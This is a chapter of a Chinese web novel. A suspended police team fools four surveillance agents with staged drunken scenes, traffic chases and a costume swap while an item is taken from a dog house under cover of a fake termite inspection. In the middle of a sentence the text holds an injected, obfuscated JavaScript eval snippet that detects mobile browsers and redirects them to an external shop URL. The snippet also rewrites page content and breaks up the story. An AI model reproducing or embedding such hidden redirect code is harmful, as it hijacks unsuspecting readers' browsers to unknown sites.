卫其宏想大骂,但是他很快就冷静下来了,他觉得憋闷得要死,可即使这么憋屈了,他居然觉得自己能理解中情司的立场。 对方已提供了最大程度的支援。 ——你要暗网DUMP?好,我排出顶尖技术支持。 ——你要绝密情报?好,我马上全部拷贝,悉数奉上。 ——你要重新鉴定尸体?好,夜枭19横跨千里运送棺椁。 ——你的人受伤了?好,青蜂应声而至。 然而你们干了什么? ——我们的参事官在你们组长的车上,炸成了重伤。 他觉得要自己是情报司,也会把他们这伙人统统都当成嫌疑犯,明天就投入监狱。 “中情司怀疑我……我们也很正常。”高尚桢咽了咽嗓子,“他们有充分理由怀疑现场已被渗透,信息被泄露,确实也是我没有保护好……”他咳嗽了一声,竭力平静情绪,“我知道你们委屈,也知道大家这段时间的确非常辛苦。” 他目光从盛苒,安月见和卫其宏的脸上看过去,又想起医院的界至野,“其实到现在我也不觉得有哪一步真的做错,我们明白了白行人和宫达良的真正死因;我们揭开了银脊的真相;我们找到了度安源;我们甚至马上就能发现当年的目标物品。” “我们差的,只是一步。”他神情深沉,“我不觉得这是运气不好。有什么强力干扰我们的判断。我们会找到这个干扰源。” 他看到神情渐渐激动起来的卫其宏和安月见,“你们说得对,现在最重要的任务是找到狗屋里的东西。” “在红驼我们都能被正大光明的跟踪,说明他们已经取得了总署的首肯,也就是说,我们恐怕难以直接从各个分局取得支援,法院令更是想都不要想。恐怕我们前脚去找郑历秋,后脚中情司就出现,连曲奇饼都得被他们带走。” “中情司绝对不能察觉我们的计划,这当然难。但是,”他看看盛苒,眼睛汪起了笑意,“你说他们拿不走我们的脑子,这很对,不过你还忘了一点。” 笑意慢慢漫上他的嘴角,“他们也拿不走我们的人脉。” 这一瞬,那个光芒万丈,睥睨八方的高组长又回来了,“我要各分局的警员跟我走,根本不需要那纸官方命令。” “我们来定计划,准备行动。” “行动名称,白蚁。” 49.白蚁啃噬情报司 其实高尚桢不知道自己究竟睡没睡着。 每次他闭上眼睛,总是程宥坐在雪佛兰的副驾驶上,目光低垂,慢慢开口。 ——高尚桢,我可能要走了。 他睁开眼,揩去眼角的泪水,攅起全部力气,把自己从床上拔了起来。 这时凌晨三点半。 不知道程宥在干嘛,有没有睡着。 他仍然没有他半点消息,只知道人在ICU,他甚至不知道这是好消息还是坏消息。 仍没有脱离危险期,所以根本没法转院,中情司再神通广大,也要老老实实让他呆在纪念医院。 然而还没有脱离危险期。 他想进ICU,也不用干什么,就坐在那里,看着也行,可四楼ICU区被隔出一块区域,“非官方人员不得进入”的牌子高高竖起,两名依稀有点眼熟的情报司探员日夜守在门口,看向他的目光全是寒意。 不知怎么回事,高尚桢居然有点欣慰。 他们在保护程宥。 进不去也行,他就想坐在门口,整天整夜的坐着,起码离得近一些。 然而他不能。 程宥在那1.5秒救下的,不应该是这样一个被打垮的高尚桢。 那样的高尚桢根本不值得朗基努斯之枪回眸一顾。 他要变得更好,更强大,更成熟,更值得。 所以他咬着牙,一步步退回到电梯里。 医生说如果72小时内你能醒来,就没事了。 给我72小时,我会等你睁开眼睛,等我的世界回来。 高尚桢大踏步向前方走去。 ================= 00:00-24:00 情报司在红驼的特别行动小队只有六人。 作为长年驻守沙漠之珠的官方最强力量,他们自然也知道红驼城的高尚桢。 这位刚毕业不久,就从暴力分子手中救下一群学生,火速被提拔进了市局刑警组的年轻警官,这些年来一路遇神杀神,遇佛斩佛,干翻过毒枭,单挑过连环杀手,潜藏十五年的杀人犯刚到红驼四个月就被逮捕归案。 他就像红驼这个沙漠边的城市,又燥又硬,桀骜不驯,然而生机勃勃,光芒四射。 所以当他们听到要严密监视高尚桢和他的刑事组时,心情都有点复杂。 对了,高尚桢已经不是组长了,正如他自己调侃的那样,这回他的警徽终于被摘掉,等待上面调查结果;他的小组成员也一律停职,静等发落。 不管怎么五味杂陈,该干的活还得干。 特别行动队的四人,赵一,钱二,孙三,李四,盯防对方四人,高尚桢,盛苒,卫其宏,安月见。 四对四,完美。 特别小队的成员们都用代号称呼彼此,简单又好记。 还有两人不在此次任务中,姓名暂且不值一提。 赵一负责对象是高尚桢。 这是他第一次见到真人,觉得比苦大仇深的照片帅气不少,看得出来所受打击确实不小,大白天就跑到酒吧买醉。 赵一见多了这种年少得志,然后一落千丈的人,多一个也不多。 就是这位火气确实和传闻中的一样爆,在酒吧里把整个警务系统,上到最高警署下到片区巡警都骂得狗血淋头,动辄“当年如何如何现在居然怀疑老子不干了云云”,骂到酒吧老板嫌他烦,勒令他以前一个同事把他接走——也没回家,而是直接去了一个律所。 保安看他一身酒气不让进,退休的前辈跟被闹出来的律师解释,说自己前同事无缘无故的被停职,来这里咨询怎么提告——他要连着中央情报司和最高警署一起告。 不仅赵一,就是其他三名成员也在共享频道里听得直摇头——高尚桢这脾气是够劲,真.啥也不怕。 “钱二,你那边怎么样?” 钱二负责盯防盛苒,然后就发现根本多此一举。这位女刑警把脚踝给崴了,好像还不轻,去医院拍了片,她丈夫连轮椅都给她租了,如今正在家休息,嗯,这停职停得倒正是时候。 她自己大概也是这么想的,要不怎么怎么把腿架在茶几上,跟人煲电话粥。 钱二捏着望远镜观察,即使是中情司,也不能闯入私宅装窃听器,所以他只能隔着这么远读唇语,这中年妇女呆着没事,净拉着以前同事朋友聊天,说得都是些七大姑八大姨的事,还有什么最近闹蚂蚁,纯闲的。 他又举起刚才放在窗台上的X光片瞄了下,骨头没事,但是韧带确实受伤严重,不老老实实躺个一周恢复不了。 我可以睡一觉,钱二想,真无聊,还不如盯着那个叫卫其宏的,满大街乱窜,起码热闹啊 监视卫其宏的孙三可不这么觉得,他就觉得这小子也太能闹腾了,开了辆拉风的橘红吉普满大街乱窜,每次都赶着黄灯变红灯那一瞬冲出去,被交警抓个正着,连开了两回罚单,还以为总能消停点吧,结果大白天在路上速度干到120,又被拦下了。 结果这位家境不错的小开可能心情不好,从车里钻出来和交警面对面开吵,惹得更多警车呜呜呜赶来,在他“你们知道我是谁吗知道我组长是谁吗”的大叫里,被塞进警车,一路呜呜呜的拉走了。 孙三寻思这小子也太嚣张了,这要在中情司,不出半个小时就能让他学会什么叫安静。嘿,听说高尚桢嚣张跋扈,这手下也跟犯了狂犬病似的。 对了,资料里他们组还有一个更野的,就叫界至野,听听这名字,据说黑白两道同吃,还好受伤很重,在医院躺着呢,少了一个盯梢对象。 孙三叹口气,还是李四命好,负责的是个警校毕业不到一年的新人,还是个小姑娘,不用跟这摊子烂事。 李四也觉得自己命不错,据说高尚桢这组996那是常事,997也不罕见,看来这事是真的。 被停职的新人小刑警可算有了时间,先逛了半天街,先去理发店给自己剪了个漂亮的短发,再买了条小碎花裙子直接换上了,还在咖啡店约了好友见面。 李四瞄了眼资料,这个好友也在资料上,警局生活科的,专门负责给大爷大妈做个宣传,调节下邻里纠纷什么的。 这个好友显然挺满意自己这份朝九晚五的工作,正在劝小刑警,“你来生活科吧,别干刑警了,多危险啊,你看你这皮肤都不好了。" 安月见手里也拿个特大号的咖啡杯,神情丧丧的,“让我想想,哎,你别催我。” 两人女孩子边说悄悄话,边喝咖啡,有时还躲到咖啡杯后面啾啾啾的说什么,然后一起笑。 最后安月见叹气,“就是转组也不是现在啊,你看看我们组这伤的伤,病的病的。对了,我都好几天没去看界大哥了,明后天得去一趟。” 李四从望远镜里读到这句,琢磨了一下,界大哥……对了,他们组那个叫界至野的,在纪念医院住院呢,看来这两天我还得跟着去医院。 可惜生活科的这位同学只有半天假,跟安月见挥手作别后,径直回了驼铃分局,第一件事是复印一堆卫生局发来的《白蚁活跃期预警通知》,喊老刘来取。 “这是栀子花街的,今天得发完。对了,那边养狗的住户挺多的,狗屋也别放过啊。”她俏皮的眨眨眼。 下午四点,片警老刘按响了栀子花21号的门铃。 黑色的拉布拉多看到老朋友,高兴得直蹦高。 房子的主人跟他也很熟,老刘特地提醒他,“最近闹白蚁,这可不是开玩笑的,您家好好检查一下。对了,院子里那个狗屋也得查。听说市局给联系了个公司,后天做免费检测。你到时给开门啊。” 郑历秋笑呵呵的接过传单,“谢了,我一定留神。” 下午四点半。 盛苒的女儿从房间里走出来,皱着眉埋怨她,“你也不歇歇,突然打这么多电话。” 盛苒拍了她一下,“我脚崴了,嘴又没崴,最近闹白蚁,我这不得提醒一下市里赶紧发通告吗?” 女儿无奈,“那也不用这么急呀,非得今天做。” 盛苒看着窗外,仿佛在与某双看不见的眼睛对视。 “是急呀,今天必须得通知到位。” 她平静的说。 24:00-48:00 今天是盯梢第二日。 特别行动队的四位特工心情愈发复杂了,尤其是赵一,他感觉到自己分明在看悲剧,题目就叫《罗马是如何毁灭的》。 就从凯撒之死看起。 ——对,高尚桢堕落得越发厉害,居然跑到局里大吵大闹,警员们拦都拦不住。他那个老同学解剖手套都没摘就跑出来,指着他鼻子一通大骂,后来干脆把他锁进了法医室,希望高组长向尸体学习什么叫冷静。 这个法医室吧,独立门禁又没安窗户,即使对中情司来说,监视任务也挺艰巨的。不过赵一不担心,资料显示这俩同学貌似在校时候关系就不好,进入警局后也是针尖对麦芒,估计眼下正在法医室吵架呢。 高尚桢完了。 赵一摇摇头,红驼城没了高尚桢这凯撒大帝,以后治安怕是要完。 还好明年就调走了。 他又惋惜又庆幸的想。 至于钱二,他对某位中年妇女佩服不得了。 他看着笔记本上的记录:上午9:00,盛苒开始打电话;上午10:30,还在打;中午12:00,继续打电话;下午14:00,依然还在打;下午17:00,还还还在打。 保守估计,她今天打了不下二十个电话。 钱二啧啧摇头。 听说这位盛大姐审讯技术不错,确实,真能讲,一整天就没停啊,啥犯人都熬不住,中情司就缺这种人才。 不过她到底哪有那么多破事能讲啊! 太无聊了。 他想。 孙三对他的无病呻吟嗤之以鼻,他是多么希望自己无聊啊,现在的他恨不得给姓卫的喂两斤麻药。 这位又开着他那破吉普满街乱转,症状好像更严重了,不停的摁喇叭,他那车也不知是不是改造过,喇叭声巨大,偏偏跟在后面的孙三还不能不听,也不知道是不是从前做狙击手的时间太长,他习惯了等待与安静,现在每声喇叭都能刺激得他心里一激灵。 当然受更大刺激的还得属本区警察,他们呜呜呜的追过来,又把卫其宏抓走了。 孙三看着他被拷进警车,摇着头跟上去,寻思这下暂时停职非变成永久停职不可。 不是,高尚桢他到底从哪找到的精神病啊他。 至于李四。 他度过了爱恨交织的一天。 那个新人刑警门都没出,宅在家看剧。 李四也不得不也跟着她一起,经历了把男主女主男二女二男小三女小三的跌宕起伏。 他收起望远镜,揉着胸口想:再看下去胃水要吐尽了我。 天啊,这执行的到底是个什么任务啊。 我,堂堂中央情报司高级探员,究竟为什么要监视一只热爱狗血的咸鱼! 一般来说,虽然频道共享,但是特别行动队没有什么大事,不会彼此交流。 这回也是破天荒了。 钱二抱怨自己要无聊死了,看了两天中年妇女在家打电话。 孙三叹气:我这里太热闹了,狂犬患者没打针啊。 李四反唇相讥:你有我苦?我可看了一天三男爱一女和三女爱一男的,对了,还掺了两女爱一女,两男爱一男。 只有赵一认为任务对象挺暴躁挺危险:还好高尚桢只对红驼警局暴躁和危险,尤其他那个冷笑连连的老同学,不长眼,居然敢和他在法医室里吵架,搞不好哪天就被这个危险分子送上了解剖台。 当天下午四点。 栀子花街21号。 郑历秋遛完了曲奇饼,习惯性的打开信箱,发现里面趟了封信。 他打开一看,原来是一个叫康泰的除蚁公司发来的,说是明天下午两点,免费上门检查白蚁,让他在家等待。 对了,是有这么回事。 郑历秋想起了这几天贴满大街小巷的预防白蚁海报,明天下午两点,嗯,哪也不能去。 他摸了摸拉布拉多的脑袋,笑呵呵的说,“你那窝里也得查查,别让蚂蚁把你家给啃了。” 当天晚上九点,盛苒挂掉和界太太的第八通电话。 她揉了揉脖子,看向窗外。 不知道那个人还在不在,明天就是最后一天了。 48:00-72:00 赵一一早上起来就觉得右眼皮在跳,他寻思不会吧,高尚桢今天又要闹事? 算了,他闹也不跟我闹。 13:10 赵一熟门熟路的尾随高尚桢进了酒吧,准备和前两天一样,找个角落呆一个小时。 要点什么才好呢,他想,要不还是水果拼盘和矿泉水。他刚做好决定,突然就见高尚桢拎个酒瓶子朝这个方向就来了。 赵一有点懵,他左看右看,时间还早,这边就他自己和对情侣啊,感情这是冲我来了? 啪! 高尚桢把酒瓶摔到地下,眼睛通红,指着他大骂:“你他妈的都跟了我好几天了!你是中情司的,对不对!” 被喊破身份的赵一愣住了。 酒吧里的客人也有点懵,高尚桢那个退休的前辈走过来,似乎想要拉他回去,可高尚桢不干,抻着脖子冲赵一喊:“我知道你们怀疑我!来抓我啊!把我抓进ICU锁起来!” 他眼圈突然红了,一脚踹翻桌子,“抓啊,抓啊,你怎么不把我一起炸了呢!”双手做出被铐住的姿势朝赵一扑过去,可脚下一个没站稳噗通摔倒在地,就这样他也没放过赵一,伸手就把他裤脚抓住了。 旁边这个前辈也不知怎么回事,明明看见人摔了,不仅不扶,反而冲赵一吵吵上了:“中情司了不起啊,随便打人啊!” ——我X,明明他自己绊的啊! ——还有,你能不能不一口一个中情司?这是大庭广众能喊的吗? 赵一烦恼之余,陷入了深深的矛盾。 ——高尚桢喝多了,打晕他脱身5秒足够,而搞定前面这个瞎嚷嚷的老头都用不上5秒。 ——可问题是,下一步怎么办? ——任务指令是监视对象一切可疑行为,没说能动手啊。 ——再说我这边儿把高尚桢揍了,这帮土著警察回去就能把车给我烧了。 ——那我肯定熬不到明年调回总部啊。 ——这个情况怎么处理? 他裤脚被高尚桢抓着,头脑高速运转。 ——到外面去?不行,我得就近监视高尚桢,这人是最大不稳定因素,上头命令是必须盯死他。 ——留在这? ——对,留下,我赔个笑脸说他认错人…… 他还没来及开始笑,就见对面那个老头拿出一个老式手机,啪的一声打开盖,没好气的冲里面喊,“小高让人打了了,给我摇人!” ——啊!我还没打呢! 一分钟不到,门咣当一声被推开,一帮人怒气冲冲的冲进来,虽然大都头发花白,还有缺手断脚的,但是一个个下盘都稳当得很,看得出是练家子。 赵一马上就判断出来了。 ——我X,一帮退休警察。 ——来得太快,不对劲,是陷阱! 他刚想到这里,已经被这帮虎背熊腰的老头子围住了,他们一个个七嘴八舌,嗓门大得快把屋顶给冲上天。 “怎么着!中情司欺负我们小高啊!” “当了四十年警察,这还是第一次看情报部打警察!开了眼了!” “老子都退休好几年了,什么中情司外情司的,都给老子滚犊子!敢欺负我们小组长我看我不收拾你!” 这时酒吧老板听见动静跑出来了,也是个五大三粗的老头子,他挤进人群高喊一声,“怎么回事?” 前辈指着赵一告状:“中情司的人打我们小高!” 老板看一眼地上的高尚桢,又看一眼赵一,桀桀冷笑:“中情司了不起啊?在我的地盘还敢动手?不知道老子当过警察啊!” 他拿手机指赵一鼻子,“我这就报警我!我儿子也是警察!” 赵一被退休了的警察老头和现役警察的老子团团包围,满耳朵都是中情司中情司,只觉得自己脑子嗡嗡嗡的,要炸了。 ——不对。这绝对是高尚桢的陷阱! ——他找人包围我,准备趁乱逃跑! 他打开共享频道,“请求支援!” 13:15 孙三看着街对面,瞠目结舌。 今日第三次被抓超速的卫其宏彻底爆了,他突然伸手朝警察肩上推了一把,然后跳上吉普车,猛一个倒车,直接朝贴在后方的空警车撞了过去。 砰! 倒霉的警车被吉普撞得向后滑了好几米。 旁边正在低头开罚单的警察勃然大怒,啪的把本子一摔,上去就要从驾驶舱拽他出来。 结果卫其宏一脚油门,嗖的蹿出去了。 ——我X,这小子是不是磕多了! ——我X,我还没打火呢! 孙三停在对面路边,也没想到卫其宏没等罚单开完就跑了,赶紧拧钥匙打火,刚要踩下油门,冷不防逆方向突突突开过来辆警用摩托,正好停到他车门前。 那警察连车钥匙都没拔,直接从摩托上跳下来,跑过街道找那个正跳脚大骂的同事,和他一起哇啦哇啦不知在说啥。 孙三对着挡路的摩托有点烦。 ——这个破摩托能不能挪远点,老子要开出去! ——让警察回来挪车起码得45秒,卫其宏那孙子早跑没影了。 好在摩托和车之间有点距离,再稍微多点空,车就能直接出去了。 他做出判断,从车窗里闪电般的伸出手,提起摩托把手,向外稍稍一移。 就有这么巧,摩托警突然不哇啦了,回头朝自己摩托跑,结果正撞见孙三伸手去抓自己的摩托车,当即一蹦三尺高,大吼起来:“你干什么,警车你也敢偷!不对,敢情你也要袭警啊!” ——也袭警? 孙三寻思你们TMD抓不到卫其宏,拿我一个路人撒气。 ——不管他,追卫其宏要紧! 他懒得和这个小喽啰废话,一踩油门,引擎轰鸣中直接飞了出去,从后视镜里看到摩托警正指着自己的车,对通话器布拉布拉的。 孙三当然不怕,不过也觉得晦气。 ——车号被记了,明天得套个牌。 ——这事肯定写进报告里,真烦,报告写得够多了,都快得腱鞘炎了我。 ——这个该死的卫其宏,你跑什么跑! 他这么想,刚拐过街角,就吓了一跳,几辆警车迎面轰隆轰隆的来了。 ——不会是冲我来的吧? 还好警车没理他,直接过去了,他刚松口气,就觉得不对。 后视镜里有俩车紧紧贴上,一辆是刚才被卫其宏撞的警车,还有一辆怒气冲冲的摩托。 ——我X,摩托就算了,那个破警车追我干嘛,卫其宏撞的你,抓他去啊! 身为中情司精英,孙三自然车技了得,几下就把警车甩得老远。可惜只是耽搁这一会,原本就快没影的卫其宏更不知道去哪儿了。 ——看来得多绕两圈找他。 他正琢磨,余光扫到街边停了两辆警车,俩制服警察本站在人行道上喝咖啡聊天,视线扫见自己的车,不知怎么的,脑袋也一路跟着转过来,突然就把咖啡杯一扔,直接蹦进车里,然后车顶这警铃就嗷嗷嗷响了起来。 ——我X! “孙三!” 孙三听到共享频道有人叫自己代号。 “在。” “怎么回事?你被列为卫其宏袭警的共犯,现在警方PTT里都是你的车牌号!” “袭警?共犯?” 孙三简直要吐血,眼看身后警车嗷嗷啊啊的追了上来,后面还跟着更多的警车,马上就拖成长蛇了。 他迅速判断情势。 ——我得摆脱警车。 ——手机定位显示卫其宏就在附近。 ——这里太堵,这么多警车赶过来,一会就得被堵住。 ——必须离开这里。 ——卫其宏就在附近,他是二号目标,不能丢,我必须得找到他。 ——不能离开这里。 他狠狠咬牙,“请求支援!” 12:35 新人小刑警买了一大堆鲜花和水果,穿着她那刚买的小碎花裙子,蹬了双恨天高,叫辆出租车前去纪念医院。 太好了,李四嘘了口气,不用看一天狗血电视剧了。 他开车在后面跟到纪念医院,一路尾随到6楼,看到她进了611房间,本想就近观察,可门前守了个制服警察,正用百无聊赖的眼神四下打量。 ——对,据说界至野受伤严重,甚至动用了还在研发中的青蜂医疗机,虽然是抢救过来了,谁知道会不会再遇到袭击,有警察值守也很正常。 只是警察在门口,李四就不好凑得太近监视了。 这阵子中情司和红驼警方关系十分紧张。作为长驻红驼的探员,他可不希望惹出一堆麻烦来。毕竟他不是总部那帮人,不管怎么得罪警方,到时候拍拍屁股走人就行,自己可还得在这儿再干三年。 每每想起这个事实,李四心情就有点不好(妈的红驼这个全是沙子的鬼地方)。 算了,别就近,远点也没事。反正这个小女警咸鱼一条,马上就发配去生活科递传单,也掀不起什么风浪。 ——确保她在视线之内就可以。 他确定了任务的执行细节,远远靠在走廊入口的墙壁上,做出低头看手机的样子,余光牢牢锁定病房。 病房门忽然打开,有个特别富态的妇女走出来,堵在门口和值守警察聊天。 ——资料上有这个人,是界至野的妻子。 李四皱皱眉,距离太远,实在听不清具体内容,这走廊里人来人往的,他总不能拿出望远镜读取唇语。 嗯……那个警察在摸头,傻了吧唧的开始笑,隐隐听到“月见啊”“表妹啊”“这个医院啊”“朋友啊。” ——这是拉郎配呢。 ——红驼这帮土噶哒。 李四翻了个白眼。 他的白眼还没翻完,共享频道里突然响起赵一的大喊,“请求支援!” 他吃了一惊,身体迅速侧过,半抵墙,小声回应:“出了什么事?” “我被警察围起来了,请求支援!” 钱二&李四:今天之前我们还没空得罪本地警察吧? “哪个区的?还是联区总局派下的?给总部打电话解决这件……” “都不是!是帮老头子!退休好多年了!支援快点到达!” 频道里的钱二&李四:…… ——你连退休的都打不过了吗? ——不对,不能打。 频道里两人马上意识到此事的棘手之处。 这该死的高尚桢! 该死的红驼警察! 该死的老头子! 这时又有俩警察从医院走廊里和李四擦肩而过,他们手里拎着饮料,看样子是医院附近的巡警。 他们路过界至野病房的时候,停下脚步把饮料递给值守警察,也不急着走,戳在那里不动,跟界太太还有同事聊得热火朝天。 611病室的门从里被打开,有个戴口罩的长发护士推着点滴架走出来。 她背对李四,向电梯方向走去。 李四正准备认真观察,可仨警察都体格挺魁梧,横在走廊里跟大半堵墙似的;不仅如此,他们还和界太太一起哈哈大笑,身体前后乱晃,彻底把他视野给扰乱了。 ——得跟上去确认情况。 李四拿手摸着头,冲着手机里嗯嗯呀呀的,“知道了,知道了。”他一面说一面前进。 就在这时,共享频道响起一声大叫。 “请求支援!” 孙三! 李四顿时停下脚步。 他用胳膊杵着白墙,眼睛追随着那护士,笑得一脸甜蜜,声音也很轻柔,“怎么啦?亲爱的?” ——这帮吃撑了的警察能不能朝旁边闪闪。 ——还有界太太,你能不能不堵路中间,有点素质好不好! “我被警车跟上了!” ——区区警车而已,你TMD都甩不掉! “卫其宏不见了!我必须继续在中心区开车,速度还不能太快,直到发现卫其宏!” 频道里的钱二&李四:…… 电梯门打开了,护士推着车走了进去。 “请求支援!” 支援,支援,不就是我吗! 钱二被催得心烦,瞅了眼对面楼里还在打电话的那位大姐,无奈的叹了口气。 怎么办,人不够啊! 中央情报司主要活动区域集中在首府苍都和某些敏感地区。红驼就是个跟战争间谍情报三不沾的地方(顶多有点走私),在区域重要性排序里,常年位列倒数第三档,常驻探员只有他们这支六人小队。 最近的确是从苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654310|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都过来些人,可不仅招呼都没打过,还从他们本来就人不多的队伍里抽走俩,据那俩哥们说,他们在医院里紧急戒备呢,中央那边派来的参事官受了伤。 理解,理解。 换句话说,6-2=4,今天要搞支援,也只能他们四个探员内部互相支援。 行吧,反正在这也是看这位崴了脚的大姐喷口水,我出去活动活动。 哼! “赵一,报位置!” 他迅速收拾起所有电子设备,放进手提箱,脚下加快,五秒钟内离开了16层这间公寓。 钱二选择赵一,李四这边可就剩下支援孙三一个选项了。 他握着手机,陷入了犹豫,毕竟安月见可没崴脚,穿着七寸高跟鞋也能到处乱跑。 而他的任务就是确保她在视线内,不许其开展任何可疑活动。 自己走了肯定不在范围内了,虽然手机基站也能提供部分信息,但是范围毕竟太广,而且手机这玩意,谁拿着都一样。 ——我是该支援孙三,还是留在这里继续监视? ——两面都是任务,优先级该怎么排序? “支援,支援!” ——你TMD可别叫了,让我再观察一下。 李四将手机送回口袋,以很悠闲的步态,溜溜达达的从长廊这边走过去。 几个警察还和界太太唾沫横飞的聊天。 ——红驼警察真TMD闲。 李四路过611时打个哈欠,脚下放缓,余光向留了条缝的病房里溜了一眼,就见一个穿着碎花裙的短发姑娘正和一个小女孩背对着房门,并排在看电视。 电视上播放球赛,小姑娘穿了套了10号球衣,一边拍手一边笑,看样子一时半会是出不来。 他不便多逗留,赶紧走了,同时心也放了下来。 ——资料上说界至野的女儿在学足球,嗯,今天是星期五,电视上重播之前的德比大战,12点30开始,加上广告和延时,2点45结束。 ——现在是1点15,上半场快结束了,安月见会在中场离开吗? ——那样的话我必须留在这里。 ——不会,她刚到不久,应该不会这么快就走,嗯,她高跟鞋都脱下来了,旁边还有一堆零食水果,看样子应该会一直看完比赛。 ——说不定还顺便和门外那个傻小子相个亲。 ——这场德比很精彩,下半场双方各进三个球。她一定会看完球赛才走。 ——2点45之前回来就可以。 嗯,速战速决,他这么想,迅速的从长廊离开。 13:40. 栀子花21号的门铃被准时按响。 郑历秋出门,看到有个穿着灭虫公司制服的女孩子隔着栅栏向他招手,头上也戴着公司的帽子。 “您好,我来检查您家里的白蚁。” 她跨了个很大的包。 拉布拉多看到有客人来,快乐的直摇尾巴。 13:42 钱二在酒吧外观察,见到赵一被帮退休的警察围得水泄不通,还有两个现役警察在旁边做笔录。 酒吧老板拍着右边小伙子的肩,和老伙计们乐哈哈的介绍这是他儿子。 一团乱局里,高尚桢悄悄的从酒吧侧门溜了出来,伸手招了辆的士,猫着腰钻了进去。 ——我早说过得多派俩人盯高尚桢,这家伙肯定不好对付。 ——结果安排我去监视中年妇女。 钱二冷笑一声,踩下了油门。 13:45 孙三被一帮警车追得烦躁不已。 ——李四怎么回事,怎么这么慢! ——这路本来就赌,还赶上今天查白蚁,到处都是要绕路的牌子。 ——下去随便换个车肯定不行。 “李四,快点送车来!” 13:52 ——这个破红驼,隔几年就查一次白蚁,害我绕这么多路。 李四把车停在一个书店旁,又溜了一眼手机屏幕。 ——安月见的手机信号还在原来的基站,很好。 “孙三,车停在心情书店左方侧门。” 李四在频道里留了话,然后砰的关好车门,跨过马路,伸手招下一辆的士。 的士缓缓的停下来,在钻进车之前,他抬腕看看表。 ——1点52,我从医院开过来花了三十多分钟。 ——这条路很堵,又花了一点时间停车,回去应该会快一点。 ——预计到达纪念医院时间:2点25。 13:59 孙三和李四同时听到警务PTT的消息。 ——橘红吉普找到了。 ——卫其宏不在车上。 “这个王八蛋,给我抓到他!”不知哪位气急败坏的警员在频道里破口大骂,“设路障,检查!哪怕自行车都不能放过!” 14:00 警方开始设路障了。 李四所在的出租车停下来了。 14:00 女检察员检查过家具后,来到前院,蹲下查狗屋。 14:10 李四的出租车还在慢慢向前蹭。 看得出警察们真的很火大,所有的车都必须摇下车窗仔细检查,司机也得经两句盘问,后备箱也要打开查看。 ——18分钟了,还没挪出这个区。 ——怎么办。 李四开始紧张。 他看看堵得死去活来的马路,还有和自己同样生不如死的司机们。 ——现在下车也不行,各个路口都有路障,都一样。 14:24 女检察员告诉郑历秋他的家和狗屋没有白蚁,让他放心,告辞离开了栀子花21号。 有辆白车停到街边。 司机是个脸特别白特别光润的年轻人,看得出对美容很上心,就是不知道什么缘故,身上总有股淡淡的福尔马林味。 女检察员看到郑历秋关上门,伸手捂住大包冲向白车。 曲奇饼在栏杆后目送白车离开,汪汪了两声。 14:25 “抓住了!抓住了!” 堵得快崩溃的孙三和李四同时听到了卫其宏被逮捕的消息。 敢情他就在隔壁路口。 路障果然有用,警察们一拥而上,将他塞入车后座,抓去了就近警局。 那个污蔑李四袭警的摩托警将座驾停在路边,自己开着橘红色吉普车,一路哼着歌也去了警局。 14:25 警方开始撤路障了。 孙三和李四同时松了口气。 14:30 退休警察脾气来得快,去得也快。 这边笔录刚做完,那位前辈就提议大家喝酒去吧,小高请。 然后一帮老头就勾肩搭背的喝酒去了,把赵一和两个做笔录的警察晾在一边。 高个警察把记录本递给赵一,“签个字吧,尊贵的中情司探员。” 14:30 高尚桢指挥者出租车转了好几圈,最后慢悠悠的停了下来。 ——纪念医院。 钱二停下车,站在明显喝醉了的高尚桢身后等电梯,医院里人流很大,高尚桢动作又慢,几次都没挤进去,最后还是钱二等不下去,巧妙的隔开人流,又悄悄推了一把,总算把他送进了电梯。 14:35 一辆白车行驶入了清沙区殡仪馆。 陈裕理每周五会来这里做快速尸检,今天也是如此,不过上午工作挺多,直到一点他才开车出去吃午饭,现在才回来。 他下了车,从副驾驶上取下一个黑色公文包,和几名熟人打过招呼后,进了大楼。 他没有去楼上办公室喊助手,而是径直进入位于地下室的三层停尸间。 这里没有窗,大白天也是漆黑一片。 陈理裕打开灯,没换解剖服就直接来到最下层的最里间。 他蹲下身,打开底层一个空冷冻仓,将公文包放了进去,关好抽屉。 14:35 电梯里的高尚桢摁下了四楼按钮。 钱二皱眉,界至野在六楼,他去四楼干嘛? ——参事官在四楼,难道这家伙准备去闹事? ——应该不会。听说参事官兼任警方的调查官,和刑事组关系很好。 ——原来他是去探望参事官。 14:35 终于从堵车潮里挣脱出来重新自由的孙三皱眉。 ——今天这事是不是有点太巧了。 他皱起眉,红驼警察都是高尚桢的跟班,前脚把卫其宏抓了,后脚就从后门放了怎么办? ——这是二号人物,不能放松。 我得进警局看一眼。 14:37 电梯在4楼停下了。 高尚桢抹了把脸,出了电梯门。 然后被冷冰冰的封条隔绝在了ICU之外。 他在走廊落地窗前停下脚步,没有试图进入,用头抵玻璃窗,望向远方。 虽然站在侧后方,但此时高尚桢的神情还是让钱二一阵心悸。 14:45 终于赶回医院的李四进了电梯。 他的手在数字4上犹豫了一下,还是按下了6。 14:46 他出了电梯门。 谢天谢地,几个闲得发慌的警察总算走了,那个值守的傻蛋站在走廊另一头,正脸红红的正跟一个长发护士聊天。 他加快脚步,路过611。 球赛已经结束,小女警抻了个懒腰,起身整理的小碎花裙子,往叫上套高跟鞋。 耽误了一点时间,不过还好。 他回到老位置。 小女孩看看正在和爸爸哈哈哈哈的妈妈,又看看警察姐姐,有点奇怪。 “姐姐你不是喜欢小表姨的护士服和假发吗?怎么又换回来了啊。” 安月见摸摸她的头,眼睛里含着泪,“姐姐要去看病人啊,当然要穿得好一点。” 14:50 盛苒放下了电话,长长嘘了口气,生平第一次,她体会到机场调度员的不容易。 丈夫推来轮椅,扶着她一瘸一拐的坐了上去。 “这个时间点啊。”盛警官的丈夫看了看墙上的表,“去纪念医院的路不算堵,我们走吧。” 14:50 孙三无需再想办法进入分局,因为警察就在分局前停了下来。 他看到他们打开卫其宏的手铐,又在他肩膀上砸了好几拳。 然后有个警察,对,就是那个指着他鼻子污蔑他袭警的小警察,笑嘻嘻的把吉普车钥匙递给卫其宏。 旁边有个人脸倒挺黑,是那个警车被撞的交警。 他在说什么? 